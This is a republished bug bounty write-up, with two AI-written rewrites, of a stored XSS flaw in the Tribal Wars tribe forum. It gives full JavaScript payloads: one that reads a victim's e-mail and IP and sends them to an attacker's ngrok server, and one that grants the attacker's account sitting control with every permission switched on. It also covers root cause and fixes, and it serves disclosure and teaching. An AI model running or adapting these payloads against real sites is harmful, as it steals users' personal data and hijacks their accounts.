Skip to content
XSS Write-up Intermediate

Destroying Armies and Villages through Cross-Site Scripting - Bug Bounty Write-up

A stored cross-site scripting flaw in the forum subject field allowed an attacker to run JavaScript in other players' browsers, exfiltrating their email and IP addresses and enabling account-sitting permissions to be granted to the attacker's account.

Fábio Freitas Follow

Published on 0xfabiof.github.io

Bounty$1,000 View original

This is a story on how we exploited a Stored XSS vulnerability on the Tribes forum functionality of the very popular Browser game Tribal Wars to exfiltrate Personal Identifiable Information about the users as well as temporarily take-over another user’s game.

Fábio Freitas (@0xfabiof), on 0xfabiof.github.io

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

Destroying Armies and Villages through Cross-Site Scripting

Destroying Armies and Villages through Cross-Site Scripting - Bug Bounty Write-up
Destroying Armies and Villages through Cross-Site Scripting - Bug Bounty Write-up From the original on 0xfabiof.github.io

Context

InnoGames runs a bug bounty program on Intigriti. Among the assets in scope was Tribal Wars, a long-running browser game that was popular in Portugal under the name "Tribos". The game is built around villages, and players organise themselves into Tribes: a guild-like structure where players invite others into an alliance built around their villages.

Each Tribe has its own Forum, intended as the alliance's private board for discussing strategy and similar matters. It is this Forum that the write-up focuses on.

From the original on 0xfabiof.github.io

Setup

Before finding the issue, the researcher tested a large number of endpoints for access control problems and potential injection vulnerabilities. To explore the Tribe functionality, he created a Tribe of his own and worked through its features. The researcher created a Tribe of his own and worked through its features; the attack triggers when a victim opens the Tribe forum.

Finding it

Most of the parameters tested up to that point performed input sanitisation on both the front end and the back end. The Subject parameter of a new Forum Topic was different: sanitisation happened only on the client side. That meant the request could be intercepted and the payload added directly, bypassing whatever the browser-side code did.

The payload used to confirm the issue was the simplest possible:

HTML
<script>alert()</script>

Every time the Tribe's forum was visited, the alert box appeared. The finding was screenshotted and submitted straight away, before anyone else could report the same thing.

From the original on 0xfabiof.github.io

The report was triaged the following day, but its severity was lowered to Medium because the proof of concept did not demonstrate serious impact. The program allowed researchers to appeal a downgraded severity, so the next step was to build a convincing impact demonstration.

Exploitation

With help from @0xSmiley, the researcher set two goals:

  1. Leak the user's personal and sensitive information, which the program classified as a priority.
  2. Take over the user's account.

Step 1: Finding data worth exfiltrating

Browsing the user profile showed that the application displays the user's e-mail address, and also logs and displays the user's IP information. That was judged sufficient for a proof of concept.

From the original on 0xfabiof.github.io

Step 2: A payload that reads the profile and sends it out

A JavaScript file, pii.js, was written to make two requests and exfiltrate their results to an attacker-controlled server:

JavaScript
// Obtain E-mail Information of the User
var a = new XMLHttpRequest();
a.open("GET", "https://xs1.tribalwars.cash/game.php?village=14&screen=settings&ajax=full_email_address", false);
a.withCredentials = true;
a.send();
var email=a.response;

// Obtain IP Information of the User
var c = new XMLHttpRequest();
c.open("GET","https://xs1.tribalwars.cash/game.php?village=14&screen=settings&mode=logins",false);
c.withCredentials = true;
c.send();
var r = /\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b/;
var ip_addr = c.response.match(r)[0];

// Exilftrate it to an attacker-controlled server
var b = new XMLHttpRequest();
b.open("GET", "https://d33fd5150904.ngrok.io/?email="+email+"&ip="+ip_addr);
b.send();

The payload makes two requests to obtain the user's e-mail and IP information, then sends both to an attacker-controlled server. The third request sends both values to an ngrok endpoint controlled by the attacker. The two reads use withCredentials = true so that the victim's session is attached, and synchronous mode so the values are available before the next statement runs.

Step 3: Getting around the Subject length limit

The Subject parameter has a size limit, so the whole payload would not fit inside it. The application also had no mechanism to prevent importing scripts from other sources. The .js file was therefore hosted on an HTTPS server and embedded through the vulnerable parameter:

From the original on 0xfabiof.github.io

As soon as the victim opens the forum, the actions above run and the attacker receives the user's e-mail and IP information on his server:

From the original on 0xfabiof.github.io

Step 4: Trying the usual account takeover routes

The first thing attempted with an XSS is normally retrieval of the session cookie used for authentication. Tribal Wars protected the session ID with the HTTPOnly flag, so the JavaScript payload could not read it. The DOM was also searched for a reflected copy of the session ID, without success.

The next option is usually the password change or e-mail change request. Neither was usable in a real attack scenario, because both required the user to enter their current password.

Step 5: Account-sitting

Full account takeover was not achievable. While browsing the application, however, the researcher found the next best thing: a built-in feature called "Account-sitting". It lets a user temporarily, for 48 hours, hand control of certain authorised functionality to another user's account.

From the original on 0xfabiof.github.io

The plan was to build a payload that enables all Account Sitter permissions and then requests account-sitting back to the attacker's account:

JavaScript
// Set all Permissions to True on Account Sitter settings
var a = new XMLHttpRequest();
a.open("POST", "https://xs1.tribalwars.cash/game.php?village=14&screen=settings&mode=vacation&action=save_vacation_permissions", false);
a.withCredentials = true;
a.send("premium_view_log=on&premium_long_time=on&premium_one_time=on&igm=on&inventory=on&send_attack=on&send_support=on&recall_support=on&send_support_home=on&send_resources=on&ally=on&h=84b77029");

// Request Account Sitting to Attacker's Account "Jose123"
var b = new XMLHttpRequest();
b.open("POST", "https://xs1.tribalwars.cash/game.php?village=14&screen=settings&mode=vacation&action=sitter_offer", false);
b.withCredentials = true;
b.send("sitter=Jose123&h=84b77029");

The first request saves the sitter permissions with every option switched on. The second request offers the sitting role to the account named Jose123, the attacker's account. Both requests carry the h parameter, which acts as a CSRF token. As is usual in stored XSS, that token can be read from the DOM and embedded in the payload.

A new forum topic was created with the subject injecting this second payload. When the victim opens the Tribe forum, all Account Sitting settings are enabled and the attacker's account, Jose123 in this case, receives a request to control the victim's game account for 48 hours with all permissions.

From the original on 0xfabiof.github.io

With that control, the attacker can destroy the victim's villages and resources, damage their reputation and spend their currency.

After these scenarios were presented, InnoGames' security team changed the severity back to High and awarded a bounty of 1000,00€.

Root cause

The Subject parameter of a new Forum Topic was sanitised only on the client side. Server-side validation and sanitisation of potentially malicious input were missing, so a request sent directly to the server, bypassing the browser-side code, stored the payload as-is. Because the value is rendered back to every member who opens the Tribe forum, the script executes in each victim's session.

The session ID was protected with the HTTPOnly flag, and password and e-mail changes required the current password, so full account takeover was not achievable. These limited what the XSS could reach directly, but they did not stop the script from issuing authenticated requests on the victim's behalf, which is what the account-sitting payload does. Because the Subject parameter had a size limit and the application did not prevent importing scripts from other sources, the payload was hosted on an HTTPS server and embedded through the vulnerable parameter.

Impact

Any member of a Tribe who opens its Forum runs the attacker's script in their own session. The script can read the e-mail address and IP information shown in the user's profile and send them to an attacker-controlled server. It can also enable every account-sitter permission and offer the sitting role to the attacker's account, giving the attacker control of the victim's game for 48 hours with all permissions. Within that window the attacker can destroy the victim's villages and resources, damage their reputation and spend their currency.

Full account takeover was not achieved: the session cookie was HTTPOnly and not reachable from the DOM, and password and e-mail changes required the current password.

Fix

Two remediations are recommended in the write-up:

  1. Implement server-side validation and sanitisation of potentially malicious input. The Tribal Wars team has since deployed a fix to accomplish this.
  2. Configure an effective Content-Security-Policy, which would make exploitation much harder even if this type of vulnerability occurs again.

Variants to test

  • Other free-text fields rendered to other users. Try topic subjects, post bodies, tribe descriptions, alliance names and profile fields. A positive result is a stored value that executes when another member views the page, with the request sent directly to the server rather than through the UI.
  • Client-side-only validation elsewhere. Intercept requests for any field the UI restricts and resend them with the restriction removed. A positive result is a value the server accepts and later renders unescaped.
  • Script import restrictions. Check whether a short payload can load an external .js file over HTTPS. A positive result is a stored value that pulls in and executes a remote script, which removes any length limit on the Subject field.
  • CSRF tokens in stored XSS. Look for an h-style token in the page and confirm it can be read from the DOM and reused in a forged request. A positive result is a state-changing request that succeeds from the injected script.
  • Delegated-access features. Enumerate features that grant another account control, such as sitting, sharing or co-admin roles, and check whether the grant and its permission set can be driven by authenticated requests. A positive result is a sitting or sharing offer delivered to the attacker's account with all permissions enabled.
  • Sensitive data in the profile. Check whether e-mail addresses, login logs or IP information are exposed through endpoints reachable from the victim's session. A positive result is a response containing that data that the script can read and forward.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 21 min read.

What happened, in plain words

A security researcher found a way to make a popular browser game do whatever he wanted inside another player's account, just by getting that player to open a page in the game. The game is Tribal Wars, run by InnoGames, and the researcher found the problem while taking part in InnoGames' bug bounty program on the Intigriti platform.

A bug bounty program is a deal a company makes with outside researchers: find a security problem in our product, report it privately, and if it is real we pay you. It is cheaper and safer for the company than having the problem found by criminals.

The problem was a Stored Cross-Site Scripting (Stored XSS) bug. In plain words: a website let a player save a piece of text that was really a small program, and then showed that text to other players as if it were a program. When another player opened the page, their browser ran the program. Because the program runs inside the victim's own logged-in session, it can do anything the victim could do: read their data, change their settings, send requests in their name.

A useful comparison: imagine a shared noticeboard in an office. You are allowed to pin a note with your name on it. But suppose the board does not check what is written on the note, and the office robot that reads notes aloud reads your note as an instruction: "open the safe and post the contents to this address". Everyone who walks past the board hears the instruction and the robot obeys. That is Stored XSS: the malicious text is stored once and executed for every visitor.

The researcher used this to do two things:

  1. Read the victim's e-mail address and IP information from their profile and send it to a server he controlled.
  2. Use a game feature called "Account-sitting" to hand control of the victim's game account to his own account for 48 hours, with every permission switched on.

With that control, an attacker could destroy the victim's villages and resources, damage their reputation and spend their currency.

Destroying Armies and Villages through Cross-Site Scripting - Bug Bounty Write-up
Destroying Armies and Villages through Cross-Site Scripting - Bug Bounty Write-up From the original on 0xfabiof.github.io

The product and the feature

InnoGames runs a bug bounty program on Intigriti. Among the assets in scope was Tribal Wars, a long-running browser game that was popular in Portugal under the name "Tribos". "In scope" means the company has authorised testing on that specific product; testing anything outside the scope is not covered by the program.

The game is built around villages. Players organise themselves into Tribes: a guild-like structure where players invite others into an alliance built around their villages. If you have played any online game with guilds or clans, a Tribe is the same idea.

Each Tribe has its own Forum, intended as the alliance's private board for discussing strategy and similar matters. A forum is a web page where members post topics and replies. It is this Forum that the write-up focuses on, because it is the place where one player's text is shown to many other players.

From the original on 0xfabiof.github.io

Setting up

Before finding the issue, the researcher tested a large number of endpoints for access control problems and potential injection vulnerabilities.

An endpoint is simply a specific address on a server that does one job, like a counter in a shop: one counter for "show my profile", another for "save a forum post". When your browser loads a page or clicks a button, it is usually sending a request to one of these addresses.

Access control means the rules about who is allowed to do what: can player A read player B's private messages? Can a normal member change the alliance settings? A failure there means someone can do something they should not be allowed to do.

An injection vulnerability is when data you type is treated as instructions by the system. If a form expects your name and you type a database command instead, and the system runs it, that is injection. XSS is a kind of injection where the "system" that gets confused is the victim's browser.

To explore the Tribe functionality, the researcher created a Tribe of his own and worked through its features. The researcher created a Tribe of his own and worked through its features.

Finding it

Most of the parameters tested up to that point performed input sanitisation on both the front end and the back end.

A parameter is one named piece of data in a request, for example the subject of a forum topic or the name of a village. When you fill in a form, each field becomes a parameter.

Sanitisation means cleaning the input: removing or neutralising characters that could be interpreted as code. If a field is supposed to contain a name, the server strips out anything that looks like a program.

Front end and back end are the two halves of a web application. The front end is the code running in your browser: the page, the buttons, the JavaScript that checks your form before sending it. The back end is the code running on the company's server, which receives the request and stores the data. Checking only in the front end is like a nightclub that checks IDs at the door of the queue but not at the actual entrance: you can walk around the queue and get in anyway.

The Subject parameter of a new Forum Topic was different: sanitisation happened only on the client side. That meant the request could be intercepted and the payload added directly, bypassing whatever the browser-side code did.

To intercept a request means to catch it between your browser and the server, look at it, change it, and then let it continue. A proxy tool does this; the browser sends its request to the tool, the tool shows it to you, and you forward it. Because the browser-side check already happened (or was skipped), the server receives whatever you typed into the tool.

A payload is the piece of malicious input itself: the text you send to try to trigger the bug.

The payload used to confirm the issue was the simplest possible:

HTML
<script>alert()</script>

Line by line:

  • <script> is an HTML tag that tells the browser: everything until the closing tag is a program (JavaScript), not text. Run it.
  • alert() is a built-in JavaScript function that opens a small pop-up box with a message. Here it has no message, so it just shows an empty box.
  • </script> closes the program.

So the whole payload means: "browser, run a program that pops up a box". It does nothing harmful. It is used because it is unmistakable: if the box appears, you know your text was executed as code and not shown as plain text.

Every time the Tribe's forum was visited, the alert box appeared. That is the proof: the value was stored on the server and executed for every visitor, not just for the person who typed it. The finding was screenshotted and submitted straight away, before anyone else could report the same thing. In bug bounty work, two researchers can find the same bug; the first report is the one that counts, and the second is called a duplicate and usually earns nothing.

From the original on 0xfabiof.github.io

The report was triaged the following day. Triage is the first review: the program's team confirms the report is real and understandable, and assigns it a severity. But its severity was lowered to Medium because the proof of concept did not demonstrate serious impact. Severity is a rating of how bad the bug is, usually from Low to Critical; it drives how much the company cares and how much it pays.

The program allowed researchers to appeal a downgraded severity, so the next step was to build a convincing impact demonstration. "Impact" means what an attacker could actually do with the bug. A pop-up box is annoying; stealing data or taking over an account is serious. The researcher's job now was to show the serious version.

Exploitation

With help from @0xSmiley, the researcher set two goals:

  1. Leak the user's personal and sensitive information, which the program classified as a priority.
  2. Take over the user's account.

"Leak" means getting data out of the application and into the attacker's hands. "Account takeover" means getting enough control of someone else's account to act as them.

Step 1: Finding data worth exfiltrating

Browsing the user profile showed that the application displays the user's e-mail address, and also logs and displays the user's IP information. That was judged sufficient for a proof of concept.

An IP address is the number that identifies a device on the internet, a bit like a postal address for a computer. Websites see it automatically when you connect. A login log is a list of past logins with details such as the IP address used, and it is useful to an attacker because it can reveal where a person connects from.

Exfiltration means moving stolen data out of the victim's environment to a place the attacker controls. In an XSS attack, the victim's browser is the one doing the moving, because the script runs there.

From the original on 0xfabiof.github.io

Step 2: A payload that reads the profile and sends it out

A JavaScript file, pii.js, was written to make two requests and exfiltrate their results to an attacker-controlled server. "PII" stands for personally identifiable information: data that can identify a person, such as an e-mail address.

JavaScript
// Obtain E-mail Information of the User
var a = new XMLHttpRequest();
a.open("GET", "https://xs1.tribalwars.cash/game.php?village=14&screen=settings&ajax=full_email_address", false);
a.withCredentials = true;
a.send();
var email=a.response;

// Obtain IP Information of the User
var c = new XMLHttpRequest();
c.open("GET","https://xs1.tribalwars.cash/game.php?village=14&screen=settings&mode=logins",false);
c.withCredentials = true;
c.send();
var r = /\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b/;
var ip_addr = c.response.match(r)[0];

// Exilftrate it to an attacker-controlled server
var b = new XMLHttpRequest();
b.open("GET", "https://d33fd5150904.ngrok.io/?email="+email+"&ip="+ip_addr);
b.send();

Line by line:

  • var a = new XMLHttpRequest(); creates an object that can send a request to a server from inside the page. Think of it as a small messenger the script can send out and bring an answer back.
  • a.open("GET", "https://xs1.tribalwars.cash/game.php?village=14&screen=settings&ajax=full_email_address", false); prepares that request. GET is the method used when you only want to read something. The URL is the game's settings screen, with parameters asking for the full e-mail address. The final false means synchronous: the script waits here until the answer arrives, instead of carrying on and dealing with the answer later. That matters because the next lines need the result immediately.
  • a.withCredentials = true; tells the browser to attach the victim's login credentials (their session) to this request. Without it, the game would treat the request as coming from a stranger and refuse. This is the heart of the attack: the request is made by the victim's browser, with the victim's session, so the server answers as if the victim had asked.
  • a.send(); actually sends the request and waits for the response.
  • var email=a.response; stores the server's answer, which contains the e-mail address, in a variable called email.
  • var c = new XMLHttpRequest(); creates a second messenger for the second request.
  • c.open("GET","https://xs1.tribalwars.cash/game.php?village=14&screen=settings&mode=logins",false); prepares a request to the settings screen in the mode that shows the login log. Again synchronous.
  • c.withCredentials = true; attaches the victim's session, as before.
  • c.send(); sends it and waits.
  • var r = /\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b/; defines a regular expression: a pattern used to find text. This one describes an IPv4 address: four groups of one to three digits, separated by dots. \b marks a word boundary, so the pattern matches a whole address and not part of a longer number.
  • var ip_addr = c.response.match(r)[0]; searches the login log response for the first piece of text matching that pattern and keeps it in ip_addr. The [0] means "the first match".
  • var b = new XMLHttpRequest(); creates a third messenger, this time for the attacker's own server.
  • b.open("GET", "https://d33fd5150904.ngrok.io/?email="+email+"&ip="+ip_addr); prepares a request to an address the attacker controls. The + joins strings together, so the e-mail and IP are appended to the URL as parameters. When the attacker's server receives this request, the values appear in its logs.
  • b.send(); sends it. The data has now left the victim's browser.

ngrok is a service that gives a temporary public address to a server running on your own machine, which is convenient for receiving data during a test.

Step 3: Getting around the Subject length limit

The Subject parameter has a size limit, so the whole payload would not fit inside it. The application also had no mechanism to prevent importing scripts from other sources. The .js file was therefore hosted on an HTTPS server and embedded through the vulnerable parameter.

"Importing scripts from other sources" means loading a JavaScript file from a different address than the page itself. Browsers allow this by default unless the site forbids it. So instead of putting the whole program in the Subject, the researcher put a short instruction there that says "load my file from over there". The file itself can be as long as needed.

HTTPS is the encrypted version of the web protocol. It matters here because a page served over HTTPS will not normally load a script over plain HTTP; hosting the file on HTTPS avoids that block.

From the original on 0xfabiof.github.io

As soon as the victim opens the forum, the actions above run and the attacker receives the user's e-mail and IP information on his server:

From the original on 0xfabiof.github.io

Step 4: Trying the usual account takeover routes

The first thing attempted with an XSS is normally retrieval of the session cookie used for authentication.

A cookie is a small piece of data a website asks your browser to store and send back with every request to that site. The session cookie is the one that proves who you are: after you log in, the server gives your browser a long random value, and on each later request the browser presents it. The server looks it up and knows it is you. If an attacker can read that value, they can often paste it into their own browser and be logged in as the victim, without knowing the password.

Tribal Wars protected the session ID with the HTTPOnly flag, so the JavaScript payload could not read it. HTTPOnly is an instruction attached to a cookie telling the browser: never let JavaScript see this cookie; only send it to the server. It is a direct defence against exactly this kind of attack.

The DOM was also searched for a reflected copy of the session ID, without success. The DOM (Document Object Model) is the browser's in-memory model of the page: every element, attribute and piece of text. If the session ID had been written into the page somewhere, the script could have read it from there even with HTTPOnly in place. It was not.

The next option is usually the password change or e-mail change request. Neither was usable in a real attack scenario, because both required the user to enter their current password. This is a second defence: even a script running as the victim cannot complete those forms, because it does not know the password.

Step 5: Account-sitting

Full account takeover was not achievable. While browsing the application, however, the researcher found the next best thing: a built-in feature called "Account-sitting". It lets a user temporarily, for 48 hours, hand control of certain authorised functionality to another user's account. The idea is the same as asking a neighbour to water your plants while you are away: you give them a key, but only for a limited time and only for certain things.

From the original on 0xfabiof.github.io

The plan was to build a payload that enables all Account Sitter permissions and then requests account-sitting back to the attacker's account:

JavaScript
// Set all Permissions to True on Account Sitter settings
var a = new XMLHttpRequest();
a.open("POST", "https://xs1.tribalwars.cash/game.php?village=14&screen=settings&mode=vacation&action=save_vacation_permissions", false);
a.withCredentials = true;
a.send("premium_view_log=on&premium_long_time=on&premium_one_time=on&igm=on&inventory=on&send_attack=on&send_support=on&recall_support=on&send_support_home=on&send_resources=on&ally=on&h=84b77029");

// Request Account Sitting to Attacker's Account "Jose123"
var b = new XMLHttpRequest();
b.open("POST", "https://xs1.tribalwars.cash/game.php?village=14&screen=settings&mode=vacation&action=sitter_offer", false);
b.withCredentials = true;
b.send("sitter=Jose123&h=84b77029");

Line by line:

  • var a = new XMLHttpRequest(); creates the messenger for the first request.
  • a.open("POST", "https://xs1.tribalwars.cash/game.php?village=14&screen=settings&mode=vacation&action=save_vacation_permissions", false); prepares a request to the settings screen, in the vacation mode, with the action "save vacation permissions". POST is the method used when you are changing something on the server, not just reading. The false again means synchronous.
  • a.withCredentials = true; attaches the victim's session, so the server treats the request as coming from the victim.
  • a.send("premium_view_log=on&...&h=84b77029"); sends the request with a body listing every permission set to on: premium log viewing, long and one-time premium features, IGM, inventory, sending attacks, sending support, recalling support, sending support home, sending resources and alliance access. The last parameter, h, is a token explained below.
  • var b = new XMLHttpRequest(); creates the messenger for the second request.
  • b.open("POST", "https://xs1.tribalwars.cash/game.php?village=14&screen=settings&mode=vacation&action=sitter_offer", false); prepares a request with the action "sitter offer", again a POST, again synchronous.
  • b.withCredentials = true; attaches the victim's session.
  • b.send("sitter=Jose123&h=84b77029"); sends the offer, naming Jose123 as the sitter. That is the attacker's account.

The h parameter acts as a CSRF token. CSRF stands for Cross-Site Request Forgery: an attack where a page makes a request to another site using your logged-in session, without you intending it. To stop this, sites include a secret, unpredictable value in each form, and the server only accepts the request if the value matches. A script running on the site itself can simply read that value from the page and include it, which is why the note says it can trivially be retrieved from the DOM and embedded in the payload. CSRF tokens protect against requests coming from elsewhere; they do not protect against code already running inside the page.

A new forum topic was created with the subject injecting this second payload. When the victim opens the Tribe forum, all Account Sitting settings are enabled and the attacker's account, Jose123 in this case, receives a request to control the victim's game account for 48 hours with all permissions.

From the original on 0xfabiof.github.io

With that control, the attacker can destroy the victim's villages and resources, damage their reputation and spend their currency.

After these scenarios were presented, InnoGames' security team changed the severity back to High and awarded a bounty of 1000,00€.

Root cause

The Subject parameter of a new Forum Topic was sanitised only on the client side. Server-side validation and sanitisation of potentially malicious input were missing, so a request sent directly to the server, bypassing the browser-side code, stored the payload as-is. Because the value is rendered back to every member who opens the Tribe forum, the script executes in each victim's session.

"Rendered" means turned into what you see on the page. If the server takes the stored subject and inserts it into the page as HTML, the browser treats the <script> tag as code. If the server had escaped it, the browser would have shown the characters as text instead.

The session ID was protected with the HTTPOnly flag, and password and e-mail changes required the current password, so full account takeover was not achievable. These limited what the XSS could reach directly, but they did not stop the script from issuing authenticated requests on the victim's behalf, which is what the account-sitting payload does. Because the Subject parameter had a size limit and the application did not prevent importing scripts from other sources, the payload was hosted on an HTTPS server and embedded through the vulnerable parameter.

Impact

Any member of a Tribe who opens its Forum runs the attacker's script in their own session. The script can read the e-mail address and IP information shown in the user's profile and send them to an attacker-controlled server. It can also enable every account-sitter permission and offer the sitting role to the attacker's account, giving the attacker control of the victim's game for 48 hours with all permissions. Within that window the attacker can destroy the victim's villages and resources, damage their reputation and spend their currency.

Full account takeover was not achieved: the session cookie was HTTPOnly and not reachable from the DOM, and password and e-mail changes required the current password.

Fix

Two remediations are recommended in the write-up:

  1. Implement server-side validation and sanitisation of potentially malicious input. The Tribal Wars team has since deployed a fix to accomplish this.
  2. Configure an effective Content-Security-Policy, which would make exploitation much harder even if this type of vulnerability occurs again. A Content-Security-Policy is a set of rules the site sends to the browser saying which sources of scripts are allowed. If the policy only allows scripts from the site itself, a script loaded from an attacker's server is blocked, and an inline <script> tag is blocked too.

Variants to test

  • Other free-text fields rendered to other users. Try topic subjects, post bodies, tribe descriptions, alliance names and profile fields. A positive result is a stored value that executes when another member views the page, with the request sent directly to the server rather than through the UI.
  • Client-side-only validation elsewhere. Intercept requests for any field the UI restricts and resend them with the restriction removed. A positive result is a value the server accepts and later renders unescaped.
  • Script import restrictions. Check whether a short payload can load an external .js file over HTTPS. A positive result is a stored value that pulls in and executes a remote script, which removes any length limit on the Subject field.
  • CSRF tokens in stored XSS. Look for an h-style token in the page and confirm it can be read from the DOM and reused in a forged request. A positive result is a state-changing request that succeeds from the injected script.
  • Delegated-access features. Enumerate features that grant another account control, such as sitting, sharing or co-admin roles, and check whether the grant and its permission set can be driven by authenticated requests. A positive result is a sitting or sharing offer delivered to the attacker's account with all permissions enabled.
  • Sensitive data in the profile. Check whether e-mail addresses, login logs or IP information are exposed through endpoints reachable from the victim's session. A positive result is a response containing that data that the script can read and forward.

Glossary

  • Bug bounty program: an arrangement where a company pays outside researchers for reporting security problems privately.
  • Stored XSS: a vulnerability where malicious text is saved on a server and later executed as code in the browsers of people who view it.
  • Endpoint: a specific address on a server that performs one job, such as showing a profile or saving a post.
  • Access control: the rules deciding who is allowed to do what in an application.
  • Injection vulnerability: a flaw where data supplied by a user is treated as instructions by the system.
  • Parameter: one named piece of data in a request, such as a form field.
  • Sanitisation: cleaning input by removing or neutralising characters that could be interpreted as code.
  • Front end: the part of a web application that runs in the user's browser.
  • Back end: the part of a web application that runs on the company's server.
  • Intercept: to catch a request between browser and server, inspect or modify it, then forward it.
  • Payload: the piece of malicious input used to trigger a vulnerability.
  • Triage: the first review of a bug report, where the program confirms it and assigns a severity.
  • Severity: a rating of how serious a vulnerability is, usually from Low to Critical.
  • Impact: what an attacker could actually achieve by exploiting a vulnerability.
  • Exfiltration: moving stolen data out of the victim's environment to a place the attacker controls.
  • IP address: the number identifying a device on the internet.
  • PII: personally identifiable information, data that can identify a person, such as an e-mail address.
  • XMLHttpRequest: a browser object that lets a script send requests to a server and read the responses.
  • GET: the request method used to read something without changing it.
  • POST: the request method used to send data that changes something on the server.
  • Synchronous request: a request where the script waits for the answer before continuing.
  • withCredentials: a setting that makes the browser attach the user's session to a request.
  • Regular expression: a pattern used to find text that matches a certain shape.
  • ngrok: a service that gives a temporary public address to a server running on your own machine.
  • HTTPS: the encrypted version of the web protocol.
  • Session cookie: the cookie that proves who you are to a site after you log in.
  • Cookie: a small piece of data a site asks the browser to store and send back with later requests.
  • HTTPOnly: a cookie flag that stops JavaScript from reading the cookie.
  • DOM: the browser's in-memory model of the page, made of elements, attributes and text.
  • Account-sitting: a game feature that lets one user temporarily act for another user's account.
  • CSRF token: a secret value included in a request to prove it came from the site's own form, not from another site.
  • CSRF: Cross-Site Request Forgery, an attack that makes your browser send a request to a site using your logged-in session without your intent.
  • Rendered: turned into what appears on the page.
  • Content-Security-Policy: a set of rules a site sends to the browser saying which sources of scripts are allowed.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.